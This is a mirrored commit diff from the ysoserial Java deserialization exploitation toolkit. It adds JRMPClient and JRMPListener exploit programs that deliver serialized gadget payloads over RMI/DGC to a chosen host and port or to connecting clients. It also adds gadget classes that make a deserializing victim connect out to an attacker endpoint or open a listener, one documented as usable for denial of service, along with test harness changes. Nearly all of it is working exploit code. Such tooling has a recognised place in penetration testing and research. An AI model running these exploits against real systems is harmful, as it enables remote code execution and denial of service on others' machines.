mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-22 07:00:44 +08:00
Add JRMP utilties, gadgets and test code.
This commit is contained in:
@@ -21,4 +21,5 @@ public @interface PayloadTest {
|
||||
String precondition() default "";
|
||||
|
||||
String harness() default "";
|
||||
|
||||
}
|
||||
|
||||
@@ -0,0 +1,139 @@
|
||||
package ysoserial.exploit;
|
||||
|
||||
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.Socket;
|
||||
import java.net.SocketException;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.net.UnknownHostException;
|
||||
|
||||
import javax.net.SocketFactory;
|
||||
|
||||
import sun.rmi.transport.TransportConstants;
|
||||
import ysoserial.payloads.ObjectPayload.Utils;
|
||||
|
||||
|
||||
/**
|
||||
* @author mbechler
|
||||
*
|
||||
*/
|
||||
@SuppressWarnings ( {
|
||||
"restriction"
|
||||
} )
|
||||
public class JRMPClient {
|
||||
|
||||
public static final void main ( final String[] args ) {
|
||||
if ( args.length < 4 ) {
|
||||
System.err.println(JRMPClient.class.getName() + " <host> <port> <payload_type> <payload_arg>");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
|
||||
String hostname = args[ 0 ];
|
||||
int port = Integer.parseInt(args[ 1 ]);
|
||||
try {
|
||||
System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port));
|
||||
makeDGCCall(hostname, port, payloadObject);
|
||||
}
|
||||
catch ( Exception e ) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* @param hostname
|
||||
* @param port
|
||||
* @param payloadObject
|
||||
* @throws IOException
|
||||
* @throws UnknownHostException
|
||||
* @throws SocketException
|
||||
*/
|
||||
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
|
||||
InetSocketAddress isa = new InetSocketAddress(hostname, port);
|
||||
Socket s = null;
|
||||
DataOutputStream dos = null;
|
||||
try {
|
||||
s = SocketFactory.getDefault().createSocket(hostname, port);
|
||||
s.setKeepAlive(true);
|
||||
s.setTcpNoDelay(true);
|
||||
|
||||
OutputStream os = s.getOutputStream();
|
||||
dos = new DataOutputStream(os);
|
||||
|
||||
dos.writeInt(TransportConstants.Magic);
|
||||
dos.writeShort(TransportConstants.Version);
|
||||
dos.writeByte(TransportConstants.SingleOpProtocol);
|
||||
|
||||
dos.write(TransportConstants.Call);
|
||||
|
||||
@SuppressWarnings ( "resource" )
|
||||
final ObjectOutputStream objOut = new MarshalOutputStream(dos);
|
||||
|
||||
objOut.writeLong(2); // DGC
|
||||
objOut.writeInt(0);
|
||||
objOut.writeLong(0);
|
||||
objOut.writeShort(0);
|
||||
|
||||
objOut.writeInt(1); // dirty
|
||||
objOut.writeLong(-669196253586618813L);
|
||||
|
||||
objOut.writeObject(payloadObject);
|
||||
|
||||
os.flush();
|
||||
}
|
||||
finally {
|
||||
if ( dos != null ) {
|
||||
dos.close();
|
||||
}
|
||||
if ( s != null ) {
|
||||
s.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @author mbechler
|
||||
*
|
||||
*/
|
||||
static final class MarshalOutputStream extends ObjectOutputStream {
|
||||
|
||||
/**
|
||||
* @param out
|
||||
*/
|
||||
MarshalOutputStream ( OutputStream out ) throws IOException {
|
||||
super(out);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void annotateClass ( Class<?> cl ) throws IOException {
|
||||
if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) {
|
||||
writeObject(null);
|
||||
}
|
||||
else {
|
||||
URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs();
|
||||
String cb = "";
|
||||
for ( URL u : us ) {
|
||||
cb += u.toString();
|
||||
}
|
||||
writeObject(cb);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* Serializes a location from which to load the specified class.
|
||||
*/
|
||||
@Override
|
||||
protected void annotateProxyClass ( Class<?> cl ) throws IOException {
|
||||
annotateClass(cl);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
@@ -0,0 +1,284 @@
|
||||
package ysoserial.exploit;
|
||||
|
||||
|
||||
import java.io.BufferedInputStream;
|
||||
import java.io.BufferedOutputStream;
|
||||
import java.io.DataInputStream;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.io.ObjectInputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.io.ObjectStreamClass;
|
||||
import java.io.OutputStream;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.ServerSocket;
|
||||
import java.net.Socket;
|
||||
import java.net.SocketException;
|
||||
import java.rmi.MarshalException;
|
||||
import java.rmi.server.ObjID;
|
||||
import java.rmi.server.UID;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import javax.net.ServerSocketFactory;
|
||||
|
||||
import sun.rmi.transport.TransportConstants;
|
||||
import ysoserial.payloads.ObjectPayload.Utils;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
|
||||
/**
|
||||
* @author mbechler
|
||||
*
|
||||
*/
|
||||
@SuppressWarnings ( {
|
||||
"restriction"
|
||||
} )
|
||||
public class JRMPListener implements Runnable {
|
||||
|
||||
private int port;
|
||||
private Object payloadObject;
|
||||
private ServerSocket ss;
|
||||
private Object waitLock = new Object();
|
||||
private boolean exit;
|
||||
private boolean hadConnection;
|
||||
|
||||
|
||||
/**
|
||||
* @param port
|
||||
* @param payloadObject
|
||||
* @throws IOException
|
||||
* @throws NumberFormatException
|
||||
*/
|
||||
public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException {
|
||||
this.port = port;
|
||||
this.payloadObject = payloadObject;
|
||||
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
|
||||
}
|
||||
|
||||
|
||||
public boolean waitFor ( int i ) {
|
||||
try {
|
||||
if ( this.hadConnection ) {
|
||||
return true;
|
||||
}
|
||||
System.err.println("Waiting for connection");
|
||||
synchronized ( this.waitLock ) {
|
||||
this.waitLock.wait(i);
|
||||
}
|
||||
return this.hadConnection;
|
||||
}
|
||||
catch ( InterruptedException e ) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
*
|
||||
*/
|
||||
public void close () {
|
||||
this.exit = true;
|
||||
try {
|
||||
this.ss.close();
|
||||
}
|
||||
catch ( IOException e ) {}
|
||||
synchronized ( this.waitLock ) {
|
||||
this.waitLock.notify();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static final void main ( final String[] args ) {
|
||||
|
||||
if ( args.length < 3 ) {
|
||||
System.err.println(JRMPListener.class.getName() + " <port> <payload_type> <payload_arg>");
|
||||
System.exit(-1);
|
||||
return;
|
||||
}
|
||||
|
||||
final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);
|
||||
|
||||
try {
|
||||
int port = Integer.parseInt(args[ 0 ]);
|
||||
System.err.println("* Opening JRMP listener on " + port);
|
||||
JRMPListener c = new JRMPListener(port, payloadObject);
|
||||
c.run();
|
||||
}
|
||||
catch ( Exception e ) {
|
||||
System.err.println("Listener error");
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*
|
||||
* @see java.lang.Runnable#run()
|
||||
*/
|
||||
public void run () {
|
||||
try {
|
||||
Socket s = null;
|
||||
try {
|
||||
while ( !this.exit && ( s = this.ss.accept() ) != null ) {
|
||||
try {
|
||||
s.setSoTimeout(5000);
|
||||
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
|
||||
System.err.println("Have connection from " + remote);
|
||||
|
||||
InputStream is = s.getInputStream();
|
||||
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
|
||||
|
||||
// Read magic (or HTTP wrapper)
|
||||
bufIn.mark(4);
|
||||
DataInputStream in = new DataInputStream(bufIn);
|
||||
int magic = in.readInt();
|
||||
|
||||
short version = in.readShort();
|
||||
if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) {
|
||||
s.close();
|
||||
continue;
|
||||
}
|
||||
|
||||
OutputStream sockOut = s.getOutputStream();
|
||||
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
|
||||
DataOutputStream out = new DataOutputStream(bufOut);
|
||||
|
||||
byte protocol = in.readByte();
|
||||
switch ( protocol ) {
|
||||
case TransportConstants.StreamProtocol:
|
||||
out.writeByte(TransportConstants.ProtocolAck);
|
||||
out.writeUTF(remote.getHostString());
|
||||
out.writeInt(remote.getPort());
|
||||
out.flush();
|
||||
in.readUTF();
|
||||
in.readInt();
|
||||
case TransportConstants.SingleOpProtocol:
|
||||
doMessage(s, in, out, this.payloadObject);
|
||||
break;
|
||||
default:
|
||||
case TransportConstants.MultiplexProtocol:
|
||||
System.err.println("Unsupported protocol");
|
||||
s.close();
|
||||
continue;
|
||||
}
|
||||
|
||||
bufOut.flush();
|
||||
out.flush();
|
||||
}
|
||||
catch ( InterruptedException e ) {
|
||||
return;
|
||||
}
|
||||
catch ( Exception e ) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
finally {
|
||||
System.err.println("Closing connection");
|
||||
s.close();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
finally {
|
||||
if ( s != null ) {
|
||||
s.close();
|
||||
}
|
||||
if ( this.ss != null ) {
|
||||
this.ss.close();
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
catch ( SocketException e ) {
|
||||
return;
|
||||
}
|
||||
catch ( Exception e ) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* @param s
|
||||
* @param in
|
||||
* @param out
|
||||
* @throws Exception
|
||||
*/
|
||||
private void doMessage ( Socket s, DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
|
||||
System.err.println("Reading message...");
|
||||
|
||||
int op = in.read();
|
||||
|
||||
switch ( op ) {
|
||||
case TransportConstants.Call:
|
||||
// service incoming RMI call
|
||||
doCall(in, out, payload);
|
||||
break;
|
||||
|
||||
case TransportConstants.Ping:
|
||||
// send ack for ping
|
||||
out.writeByte(TransportConstants.PingAck);
|
||||
break;
|
||||
|
||||
case TransportConstants.DGCAck:
|
||||
UID u = UID.read(in);
|
||||
break;
|
||||
|
||||
default:
|
||||
throw new IOException("unknown transport op " + op);
|
||||
}
|
||||
|
||||
s.close();
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* @param in
|
||||
* @param out
|
||||
* @throws Exception
|
||||
*/
|
||||
private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
|
||||
ObjectInputStream ois = new ObjectInputStream(in) {
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*
|
||||
* @see java.io.ObjectInputStream#resolveClass(java.io.ObjectStreamClass)
|
||||
*/
|
||||
@Override
|
||||
protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {
|
||||
throw new IOException("Not allowed to read object");
|
||||
}
|
||||
};
|
||||
|
||||
try {
|
||||
ObjID.read(ois);
|
||||
}
|
||||
catch ( java.io.IOException e ) {
|
||||
throw new MarshalException("unable to read objID", e);
|
||||
}
|
||||
|
||||
System.err.println("Sending return with payload");
|
||||
|
||||
out.writeByte(TransportConstants.Return);// transport op
|
||||
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out);
|
||||
|
||||
oos.writeByte(TransportConstants.ExceptionalReturn);
|
||||
new UID().write(oos);
|
||||
|
||||
BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
|
||||
Reflections.setFieldValue(ex, "val", payload);
|
||||
oos.writeObject(ex);
|
||||
|
||||
oos.flush();
|
||||
out.flush();
|
||||
|
||||
this.hadConnection = true;
|
||||
synchronized ( this.waitLock ) {
|
||||
this.waitLock.notifyAll();
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.server.ObjID;
|
||||
import java.rmi.server.RemoteObjectInvocationHandler;
|
||||
import java.util.Random;
|
||||
|
||||
import sun.rmi.server.UnicastRef;
|
||||
import sun.rmi.transport.LiveRef;
|
||||
import sun.rmi.transport.tcp.TCPEndpoint;
|
||||
import ysoserial.PayloadTest;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
|
||||
|
||||
/**
|
||||
*
|
||||
*
|
||||
* UnicastRef.newCall(RemoteObject, Operation[], int, long)
|
||||
* DGCImpl_Stub.dirty(ObjID[], long, Lease)
|
||||
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
|
||||
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
|
||||
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
|
||||
* LiveRef.read(ObjectInput, boolean)
|
||||
* UnicastRef.readExternal(ObjectInput)
|
||||
*
|
||||
* Thread.start()
|
||||
* DGCClient$EndpointEntry.<init>(Endpoint)
|
||||
* DGCClient$EndpointEntry.lookup(Endpoint)
|
||||
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
|
||||
* LiveRef.read(ObjectInput, boolean)
|
||||
* UnicastRef.readExternal(ObjectInput)
|
||||
*
|
||||
* Requires:
|
||||
* - JavaSE
|
||||
*
|
||||
* Argument:
|
||||
* - host:port to connect to, host only chooses random port (DOS if repeated many times)
|
||||
*
|
||||
* Yields:
|
||||
* * an established JRMP connection to the endpoint (if reachable)
|
||||
* * a connected RMI Registry proxy
|
||||
* * one system thread per endpoint (DOS)
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@SuppressWarnings ( {
|
||||
"restriction"
|
||||
} )
|
||||
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest")
|
||||
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
|
||||
|
||||
public Registry getObject ( final String command ) throws Exception {
|
||||
|
||||
String host;
|
||||
int port;
|
||||
int sep = command.indexOf(':');
|
||||
if ( sep < 0 ) {
|
||||
port = new Random().nextInt(65535);
|
||||
host = command;
|
||||
}
|
||||
else {
|
||||
host = command.substring(0, sep);
|
||||
port = Integer.valueOf(command.substring(sep + 1));
|
||||
}
|
||||
ObjID id = new ObjID(0); // RMI registry
|
||||
TCPEndpoint te = new TCPEndpoint(host, port);
|
||||
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
|
||||
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
|
||||
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
|
||||
Registry.class
|
||||
}, obj);
|
||||
return proxy;
|
||||
}
|
||||
|
||||
|
||||
public static void main ( final String[] args ) throws Exception {
|
||||
PayloadRunner.run(JRMPClient.class, args);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
|
||||
import java.rmi.server.RemoteObject;
|
||||
import java.rmi.server.RemoteRef;
|
||||
import java.rmi.server.UnicastRemoteObject;
|
||||
|
||||
import sun.rmi.server.ActivationGroupImpl;
|
||||
import sun.rmi.server.UnicastServerRef;
|
||||
import ysoserial.PayloadTest;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
|
||||
/**
|
||||
* Gadget chain:
|
||||
* UnicastRemoteObject.readObject(ObjectInputStream) line: 235
|
||||
* UnicastRemoteObject.reexport() line: 266
|
||||
* UnicastRemoteObject.exportObject(Remote, int) line: 320
|
||||
* UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
|
||||
* UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
|
||||
* LiveRef.exportObject(Target) line: 147
|
||||
* TCPEndpoint.exportObject(Target) line: 411
|
||||
* TCPTransport.exportObject(Target) line: 249
|
||||
* TCPTransport.listen() line: 319
|
||||
*
|
||||
* Requires:
|
||||
* - JavaSE
|
||||
*
|
||||
* Argument:
|
||||
* - Port number to open listener to
|
||||
*/
|
||||
@SuppressWarnings ( {
|
||||
"restriction"
|
||||
} )
|
||||
@PayloadTest( skip = "This test would make you potentially vulnerable")
|
||||
public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {
|
||||
|
||||
public UnicastRemoteObject getObject ( final String command ) throws Exception {
|
||||
int jrmpPort = Integer.parseInt(command);
|
||||
UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {
|
||||
RemoteRef.class
|
||||
}, new Object[] {
|
||||
new UnicastServerRef(jrmpPort)
|
||||
});
|
||||
|
||||
Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
|
||||
return uro;
|
||||
}
|
||||
|
||||
|
||||
public static void main ( final String[] args ) throws Exception {
|
||||
PayloadRunner.run(JRMPListener.class, args);
|
||||
}
|
||||
}
|
||||
@@ -42,5 +42,29 @@ public interface ObjectPayload<T> {
|
||||
}
|
||||
return clazz;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* @param payloadType
|
||||
* @param payloadArg
|
||||
* @return an payload object
|
||||
*/
|
||||
public static Object makePayloadObject ( String payloadType, String payloadArg ) {
|
||||
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
|
||||
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
|
||||
throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
|
||||
|
||||
}
|
||||
|
||||
final Object payloadObject;
|
||||
try {
|
||||
final ObjectPayload payload = payloadClass.newInstance();
|
||||
payloadObject = payload.getObject(payloadArg);
|
||||
}
|
||||
catch ( Exception e ) {
|
||||
throw new IllegalArgumentException("Failed to construct payload",e);
|
||||
}
|
||||
return payloadObject;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -6,11 +6,15 @@
|
||||
*/
|
||||
package ysoserial;
|
||||
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
/**
|
||||
* @author mbechler
|
||||
*
|
||||
*/
|
||||
public interface CustomTest extends Runnable {
|
||||
public interface CustomTest {
|
||||
|
||||
void run (Callable<Object> payload) throws Exception;
|
||||
|
||||
String getPayloadArgs ();
|
||||
}
|
||||
|
||||
@@ -0,0 +1,66 @@
|
||||
/**
|
||||
* © 2016 AgNO3 Gmbh & Co. KG
|
||||
* All right reserved.
|
||||
*
|
||||
* Created: 05.03.2016 by mbechler
|
||||
*/
|
||||
package ysoserial.payloads;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.util.Random;
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
|
||||
import org.junit.Assert;
|
||||
|
||||
import ysoserial.CustomTest;
|
||||
import ysoserial.exploit.JRMPListener;
|
||||
|
||||
/**
|
||||
* @author mbechler
|
||||
*
|
||||
*/
|
||||
public class JRMPReverseConnectTest implements CustomTest {
|
||||
|
||||
private int port;
|
||||
|
||||
|
||||
/**
|
||||
*
|
||||
*/
|
||||
public JRMPReverseConnectTest () {
|
||||
port = new Random().nextInt(65535 - 1024) + 1024;
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
* @throws IOException
|
||||
* @throws NumberFormatException
|
||||
*
|
||||
* @see java.lang.Runnable#run()
|
||||
*/
|
||||
public void run (Callable<Object> payload) throws Exception {
|
||||
JRMPListener l = new JRMPListener(port, new BadAttributeValueExpException("foo"));
|
||||
Thread t = new Thread(l, "JRMP listener");
|
||||
try {
|
||||
t.start();
|
||||
payload.call();
|
||||
Assert.assertTrue("Did not have connection", l.waitFor(1000));
|
||||
} finally {
|
||||
l.close();
|
||||
t.interrupt();
|
||||
t.join();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*
|
||||
* @see ysoserial.CustomTest#getPayloadArgs()
|
||||
*/
|
||||
public String getPayloadArgs () {
|
||||
return "localhost:" + port;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -66,7 +66,7 @@ public class PayloadsTest {
|
||||
}
|
||||
|
||||
public static void testPayload(final Class<? extends ObjectPayload<?>> payloadClass, final Class<?>[] addlClassesForClassLoader) throws Exception {
|
||||
final String command = "hostname";
|
||||
String command = "hostname";
|
||||
final String[] deps = buildDeps(payloadClass);
|
||||
|
||||
PayloadTest t = payloadClass.getAnnotation(PayloadTest.class);
|
||||
@@ -85,19 +85,25 @@ public class PayloadsTest {
|
||||
if ( t != null && !t.harness().isEmpty() ) {
|
||||
wrapper = Class.forName(t.harness()).newInstance();
|
||||
|
||||
if ( wrapper instanceof CustomTest ) {
|
||||
( (CustomTest) wrapper ).run();
|
||||
return;
|
||||
if ( wrapper instanceof CustomTest ){
|
||||
command = ( (CustomTest) wrapper ).getPayloadArgs();
|
||||
}
|
||||
}
|
||||
|
||||
ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager();
|
||||
final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, command));
|
||||
final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, command));
|
||||
|
||||
Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized);
|
||||
if ( wrapper instanceof WrappedTest ){
|
||||
callable = ((WrappedTest)wrapper).createCallable(callable);
|
||||
}
|
||||
|
||||
if ( wrapper instanceof CustomTest ) {
|
||||
( (CustomTest) wrapper ).run(callable);
|
||||
return;
|
||||
}
|
||||
try {
|
||||
Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized);
|
||||
if ( wrapper instanceof WrappedTest ){
|
||||
callable = ((WrappedTest)wrapper).createCallable(callable);
|
||||
}
|
||||
|
||||
Object deserialized = sm.wrap(callable);
|
||||
Assert.fail(ASSERT_MESSAGE); // should never get here
|
||||
} catch (Throwable e) {
|
||||
|
||||
Reference in New Issue
Block a user